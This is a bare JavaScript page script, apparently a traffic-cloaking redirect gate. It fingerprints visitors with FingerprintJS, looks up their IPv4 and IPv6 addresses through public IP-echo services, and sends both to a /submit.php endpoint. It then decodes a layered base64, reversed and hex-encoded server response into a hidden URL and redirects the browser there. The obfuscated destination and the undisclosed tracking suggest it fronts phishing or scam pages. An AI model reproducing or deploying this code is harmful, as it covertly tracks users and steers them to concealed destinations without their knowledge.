function cjsh(input) { let nonce = 0; let hash; while (true) { hash = MD5(input+nonce).toString(); if (hash.startsWith('888')) { return hash+'_'+nonce; } nonce++; } } function sjsh(jsh, f='') { const t = getParameter("rt"); let xhr = new XMLHttpRequest(); xhr.withCredentials = false; xhr.open('GET', `/?jsc=${jsh}&f=${f}&t=${t}`); xhr.onload = function() { if (xhr.status >= 200 && xhr.status < 300) { let gotourl = hex2a(strrev(atob(hex2a(strrev(atob(xhr.response)))))); sub4(0); sub6(0); window.location.href = gotourl; } else { sjsh(jsh, f); } }; xhr.onerror = function() { sjsh(jsh, f); }; xhr.send(); } function spgfp() { const fpPromise = import('/assets/f.js').then(FingerprintJS => FingerprintJS.load()) fpPromise.then(fp => fp.get()).then(result => { const token = getParameter("rt"); sjsh(cjsh(`${token}${result.visitorId}`), result.visitorId); }).catch(error => console.error(error)) } function sub4(i) { const v4d = ['ipv4.icanhazip.com', 'ipv4.ident.me', 'ipv4.tnedi.me', 'ipv4.whatismyip.akamai.com', 'ipv4.ipecho.net/plain', 'ipv4.seeip.org']; if (i >= v4d.length) {return;} try { let xhr = new XMLHttpRequest(); xhr.withCredentials = false; xhr.open('GET', 'https://'+v4d[i]); xhr.onload = function() { if (xhr.status >= 200 && xhr.status <= 300) { window.i4 = xhr.response; const t = getParameter("rt"); fetch(`/submit.php?i=${xhr.response}&t=${t}`); subfp(xhr.response); } else { sub4(i+1); } }; xhr.onerror = function() { sub4(i+1); }; xhr.send(); } catch (error) { console.log('sub4_error: '+error); } } function sub6(i) { const v6d = ['ipv6.icanhazip.com', 'ipv6.ident.me', 'ipv6.tnedi.me', 'ipv6.whatismyip.akamai.com', 'ipv6.ipecho.net/plain', 'ipv6.seeip.org']; if (i >= v6d.length) {return;} try { let xhr = new XMLHttpRequest(); xhr.withCredentials = false; xhr.open('GET', 'https://'+v6d[i]); xhr.onload = function() { if (xhr.status >= 200 && xhr.status <= 300) { window.i6 = xhr.response; const t = getParameter("rt"); fetch(`/submit.php?i=${xhr.response}&t=${t}`); subfp(xhr.response); } else { sub6(i+1); } }; xhr.onerror = function() { sub6(i+1); }; xhr.send(); } catch (error) { console.log('sub6_error: '+error); } } function subfp(ip) { const fpPromise = import('/assets/f.js').then(FingerprintJS => FingerprintJS.load()) fpPromise.then(fp => fp.get()).then(result => { window.fp = result.visitorId; const t = getParameter("rt"); fetch(`/submit.php?i=${ip}&f=${result.visitorId}&t=${t}`); }).catch(error => console.error(error)) } getParameter = (key) => { address = window.location.search; parameterList = new URLSearchParams(address); return parameterList.get(key); } function hex2a(hex) { let str = ''; for (let i = 0; i < hex.length; i += 2) { str += String.fromCharCode(parseInt(hex.substr(i, 2), 16)); } return str; } function strrev(str) { return str.split('').reverse().join(''); }